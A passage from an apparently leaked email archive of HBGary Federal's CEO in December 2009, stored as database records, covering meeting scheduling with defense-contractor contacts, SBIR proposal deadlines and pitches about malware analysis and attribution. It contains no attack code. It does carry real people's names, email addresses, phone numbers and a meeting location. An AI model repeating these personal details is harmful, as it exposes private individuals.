new product suite is the closest I\r\nhave seen to being able to identify and counter the zero day threat.  My\r\nfirst meeting in my new position was with Palantir today to discuss the strength\r\nof an HBGary/Palantir combined capability.  I believe marrying HBGary&#39;s\r\nstrong malware analysis and fingerprinting capabilities with Palantirs link\r\nanalysis capabilities could produce a joined capability that can make some\r\nheadway towards attribution.  HBGary Federal will focus on building a core\r\nof highly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn addition HBGary Federal will start to build services and\r\nsolutions business in the information operations arena.  Being the CEO of\r\na small organization affords me certain latitudes to develop capabilities and\r\noperate in certain ways that the larger defense contractors would not touch for\r\nrisk reasons.  Small companies with well known capabilities are also\r\nattractive grounds for a category of highly talented people that tend to shy\r\naway from the larger organizations.  Ted and I are good at building these\r\ntypes of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think in these few areas as a first cut HBGary could be a\r\nvaluable asset to a company like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at HBGary.\r\nBill was very interested and asked for contact information. So here you go.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4684,'aaron_hbgary_com/4684.html'),(268,'2009-12-02','\"angela fugate\" <angela.fugate@gmail.com>','/aaron@hbgary.com/new/1296999732.M953016P3547Q268.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n            angela fugate has indicated you are a person they\'ve done business with at New Home Star:\r\n\r\n  \r\n    I\'m Josh Fugate\'s wife....don\'t hold that against me though!  I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- angela fugate\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from angela fugate\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n    WHY MIGHT CONNECTING WITH ANGELA FUGATE BE A GOOD IDEA?\r\n    People angela fugate knows can discover your profile Connecting to angela fugate will attract the attention of LinkedIn users. See who\'s been viewing your profile.\r\n    &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',1979,'aaron_hbgary_com/1979.html'),(269,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999733.M135626P3547Q269.eml','\"Alex Nieves\" <alexander.nieves@mantech.com>','Discussion','Hi Alex,\r\n\r\nI was wondering if you would be interested in getting together next week to talk about my new role, what we might be able to do together and get a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund will be in town and of course does the best job conveying the technologies (I\'ll get there).  Not sure how familiar you are with their tools, but the one I am most excited about is their Digital DNA, it does behavior/characteristic identification of malware based on HBGarys Malware genome database.  So far its 75% successful at detecting all malware we throw at it, as the genome database gets larger that should get better, but already pretty good.\r\n\r\nAnother idea I am starting to form is a combined capability that I think can push the rock a little on Attribution.  I am not sure if you are familiar with Palantir.  Their main focus in link analysis, and their tool is best in class.  I want to combine Palantirs capability for externals analysis with HBGarys capability for malware binary analysis and fingerprinting and start doing some long term analysis and correlation of attacks.  I think this approach could push the Attribution rock forward a little.\r\n\r\nI know you guys are in the \"forensics\" space but would really like to talk about what that really means, also share where we are going and see where we might be able to help each other.\r\n\r\nIf you noticed the time of the email.  3rd night in a row I have woken up in the middle of the night and can\'t sleep because my mind is racing.  Its nice to be excited about work, but I need some sleep.\r\n\r\nAaron',825,'aaron_hbgary_com/825.html'),(270,'2009-12-02','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1296999733.M339551P3547Q270.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: AFCEA Conference @ Wed Dec 2 8am - 4:30pm 	(aaron@hbgary.com)',' more details &raquo;AFCEA Conferencehttp://www.afcea.org/events/solutions/09/cyber/schedule.aspWhenWed Dec 2 8am – 4:30pm Eastern TimeWhereThe National Conference Center 18980 Upper Belmont Place Leesburg, VA 20176 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',977,'aaron_hbgary_com/977.html'),(271,'2009-12-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999733.M539366P3547Q271.eml','\"Barr Aaron\" <aaron@hbgary.com>','Greg\'s schedule next week','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHave you scheduled Greg for any meetings next week?&nbsp; I&#8217;m\r\ntaking Monday off, and Greg will be doing training Wed and Thur, so that leaves\r\nme with Tuesday or Friday to schedule meetings.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14260,'aaron_hbgary_com/14260.html'),(272,'2009-12-02','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999733.M739501P3547Q272.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: GD conference call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe class is for 20 people (we have two monitors per station)&nbsp;\r\nWith you, it&#8217;s 20 students.&nbsp; If you want to just use a lap top and allow the\r\nCTO to attend, that is fine, just let me know\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 4:04 PM\r\nTo: Penny Hoglund\r\nSubject: Re: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPenny,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny chance I can get the cto from NG xetron into the\r\ntraining class next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron &nbsp;\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 4:18 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think they may be here that week, if yes I can take\r\nthem on site.&nbsp; I&#8217;d also like to set up a meeting with Kirsten and Ryan\r\nOrth\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: \'Barr Aaron\'; \'Ted Vera\'\r\nCc: \'Penny C. Hoglund\'\r\nSubject: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron\r\nand Ted,\r\n\r\n&nbsp;\r\n\r\nI\r\njust got off the phone with Ben Wilson of GD-AIS.&nbsp; He is our main champion\r\nthere.&nbsp; I scheduled a conference call for 1pm ET Monday, December 14 where\r\nyou guys can begin dialogue.&nbsp; Does this date work for you?&nbsp; Let me\r\nknow and I can send out an invitation with call-in instructions.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBen\r\nsaid he would invite Bill Thompson and Mark Green onto the call.&nbsp; He also\r\nexpressed a desire to invite you to their Santa Clara location to see their\r\nset-up.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9689,'aaron_hbgary_com/9689.html'),(273,'2009-12-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999733.M932946P3547Q273.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','VERY IMPORTANT - New SBIR topics - Have until Dec 9 to talk to PM\'s','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nThe DoD SBIR 10.1 topics have been announced.&nbsp; Now that\r\nyou guys are onboard we have increased proposal writing bandwidth to go after\r\nthese.&nbsp; As you know HBGary has had multiple Phase I and Phase II SBIR\r\ncontracts, so we can get you up the learning curve fast.\r\n\r\n&nbsp;\r\n\r\nHere is the link to get to all the SBIRs and STTRs that are\r\ncurrent.\r\n\r\nhttp://www.sbir.gov/solicitations/\r\n\r\n\r\n&nbsp;\r\n\r\nIMMEDIDATE ACTION IS REQUIRED.&nbsp; We have until Dec 9\r\nto talk to the DoD program managers.&nbsp; This is an opportunity to ask\r\nquestions to more fully understand what problem set they want to address.&nbsp;\r\nYou can get valuable info not in the Topic write-up.\r\n\r\n&nbsp;\r\n\r\nHere is the link to the DoD topics.&nbsp; On the page there\r\nare separate links to the various services to see their topics.\r\n\r\nhttp://www.dodsbir.net/solicitation/sbir101/preface101.htm\r\n\r\n\r\nI looked through the topics for each service, but only Army\r\nhas topics that might be of interest.\r\n\r\n&nbsp;\r\n\r\nHere is link for the SBIR topics for Commerce (NIST).&nbsp; There\r\nis one called &#8220;Sound Static Security Analyzer for Software&#8221;.&nbsp;\r\nIf this is for analysis of binaries we would have a shot at winning. If it is\r\nfor source code then we don&#8217;t have a chance.\r\n\r\nAnother topic is &#8220;Ontologies for Enterprise Level\r\nSecurity Metrics&#8221;\r\n\r\nhttp://tsapps.nist.gov/TS_SBIR/FY10%20SBIR%20Solicitation.pdf\r\n\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2840,'aaron_hbgary_com/2840.html'),(274,'2009-12-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999734.M182665P3547Q274.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: VERY IMPORTANT - New SBIR topics - Have until Dec 9 to talk to PM\'s','Thanks Bob,I\'ll start reviewing the information this morning.TedOn Dec 2, 2009, at 9:02 AM, Bob Slapnik wrote:Aaron and Ted,&nbsp;The DoD SBIR 10.1 topics have been announced.&nbsp; Now that you guys are onboard we have increased proposal writing bandwidth to go after these.&nbsp; As you know HBGary has had multiple Phase I and Phase II SBIR contracts, so we can get you up the learning curve fast.&nbsp;Here is the link to get to all the SBIRs and STTRs that are current.http://www.sbir.gov/solicitations/&nbsp;IMMEDIDATE ACTION IS REQUIRED.&nbsp;&nbsp;We have until Dec 9 to talk to the DoD program managers.&nbsp; This is an opportunity to ask questions to more fully understand what problem set they want to address.&nbsp; You can get valuable info not in the Topic write-up.&nbsp;Here is the link to the DoD topics.&nbsp; On the page there are separate links to the various services to see their topics.http://www.dodsbir.net/solicitation/sbir101/preface101.htmI looked through the topics for each service, but only Army has topics that might be of interest.&nbsp;Here is link for the SBIR topics for Commerce (NIST).&nbsp; There is one called “Sound Static Security Analyzer for Software”.&nbsp; If this is for analysis of binaries we would have a shot at winning. If it is for source code then we don’t have a chance.Another topic is “Ontologies for Enterprise Level Security Metrics”http://tsapps.nist.gov/TS_SBIR/FY10%20SBIR%20Solicitation.pdf&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp; ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',15496,'aaron_hbgary_com/15496.html'),(275,'2009-12-02','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','/aaron@hbgary.com/new/1296999734.M388731P3547Q275.eml','aaron@hbgary.com','RE: Right address','Hi Aaron. I have some time Friday morning, I\'ll be in Maryland that\r\nafternoon for meetings.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, November 30, 2009 10:22 AM\r\nTo: Bagby, Ryan\r\nSubject: Re: Right address\r\n\r\nHey Ryan,\r\n\r\nDo you have some time this Friday?  I am at the AFCEA cyber conference\r\nWed/Thurs.\r\n\r\nAaron\r\n\r\n\r\nOn Nov 24, 2009, at 10:31 PM, Bagby, Ryan wrote:\r\n\r\n> Hey Aaron, Nice to hear from you. I\'d noticed I hadn\'t seen you around \r\n> in a while; congratulations on the move.  I\'m actually out of town for \r\n> the rest of the week, but would be happy to meet up next\r\n> week if possible.  Right now anytime Thursday looks good for me.   \r\n> Let me know if that might work with your schedule.\r\n> --------------------------\r\n> Thanks,\r\n> Ryan\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Bagby, Ryan\r\n> Sent: Tue Nov 24 21:04:23 2009\r\n> Subject: Right address\r\n>\r\n> Hey Ryan,\r\n>\r\n> Not sure if this is the right address for you.  If it is shoot me a \r\n> note.  I am no longer with Northrop.  Recently took the position as \r\n> CEO of HBGary Federal.  I wanted to talk to you about the Customer \r\n> contract recompete.\r\n>\r\n> Thanks,\r\n> Aaron\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n\r\n',15444,'aaron_hbgary_com/15444.html'),(276,'2009-12-02','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','/aaron@hbgary.com/new/1296999734.M584656P3547Q276.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMonday, December 7 works. Bill is ok meeting you at a location\r\nclose to you.&nbsp; Please provide a location.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:19 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWould Monday morning work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nBill\r\nLuti has asked me to contact you to scheduled a meeting over coffee.&nbsp;\r\nPlease let me know your availability the week of December 7th. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\nthanks for the update and I&#8217;m delighted you landed well. Yes, let&#8217;s get\r\ntogether for coffee soon to catch up. I&#8217;ll have Kathy Zavala set something up\r\nthis week (I&#8217;m in LA but back Thursday). Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse. &nbsp;Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat. &nbsp;My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution. &nbsp;HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena. &nbsp;Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n&nbsp;Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations. &nbsp;Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4896,'aaron_hbgary_com/4896.html'),(277,'2009-12-02','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999734.M786183P3547Q277.eml','\"Penny Hoglund\" <penny@hbgary.com>,ted@hbgary.com,aaron@hbgary.com,\"Penny Hoglund\" <penny@hbgary.com>','Retainer for Services doc/template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nDo any of you have a template or example of a services\r\nagreement for customers who would like to purchase HBGary services on retainer?&nbsp;\r\nAn example is etrade, they want to have HBGary services on retainer so that *if/when*\r\nthey have a network intrusion or malware analysis requirement they can pick up\r\nthe bat-phone and we&#8217;ll provide the specified level of support that is\r\nagreed upon. \r\n\r\n&nbsp;\r\n\r\nWe&#8217;ve been getting lots of interest in this area and the\r\nsales people should have something to provide prospective customers. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1530,'aaron_hbgary_com/1530.html'),(278,'2009-12-02','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999736.M21395P3547Q278.eml','\"Rich Cummings\" <rich@hbgary.com>,ted@hbgary.com,aaron@hbgary.com,\"Rich Cummings\" <rich@hbgary.com>','RE: Retainer for Services doc/template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is what I have for\r\nconsulting agreements .&nbsp; The Pro Services agreement\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Wednesday, December 02, 2009 9:32 AM\r\nTo: \'Penny Hoglund\'; ted@hbgary.com; aaron@hbgary.com\r\nCc: \'Maria Lucas\'\r\nSubject: Retainer for Services doc/template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nDo any of you have a template or example of a services\r\nagreement for customers who would like to purchase HBGary services on\r\nretainer?&nbsp; An example is etrade, they want to have HBGary services on\r\nretainer so that *if/when* they have a network intrusion or malware\r\nanalysis requirement they can pick up the bat-phone and we&#8217;ll provide the\r\nspecified level of support that is agreed upon. \r\n\r\n&nbsp;\r\n\r\nWe&#8217;ve been getting lots of interest in this area and\r\nthe sales people should have something to provide prospective customers. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',553,'aaron_hbgary_com/553.html'),(279,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999736.M390556P3547Q279.eml','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','Re: Status','How about greenberry coffee6839 Redmond DrMc Lean? VAUnited StatesEither 8 or 9am?Aaron\r\nFrom my iPhoneOn Dec 2, 2009, at 11:59 AM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nMonday, December 7 works. Bill is ok meeting you at a location\r\nclose to you.  Please provide a location.\r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:19 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWould Monday morning work?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n \r\n\r\nBill\r\nLuti has asked me to contact you to scheduled a meeting over coffee. \r\nPlease let me know your availability the week of December 7th. \r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\nthanks for the update and I’m delighted you landed well. Yes, let’s get\r\ntogether for coffee soon to catch up. I’ll have Kathy Zavala set something up\r\nthis week (I’m in LA but back Thursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse.  Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat.  My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability.  I believe marrying HBGary&#39;s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution.  HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena.  Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations.  Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',399,'aaron_hbgary_com/399.html'),(280,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999736.M918282P3547Q280.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Status','This gets weirder...From my iPhoneBegin forwarded message:From: &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt;\r\nDate: December 2, 2009 11:59:34 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Status\r\n\r\n\r\n\r\n\r\nMonday, December 7 works. Bill is ok meeting you at a location\r\nclose to you.  Please provide a location.\r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:19 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWould Monday morning work?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; 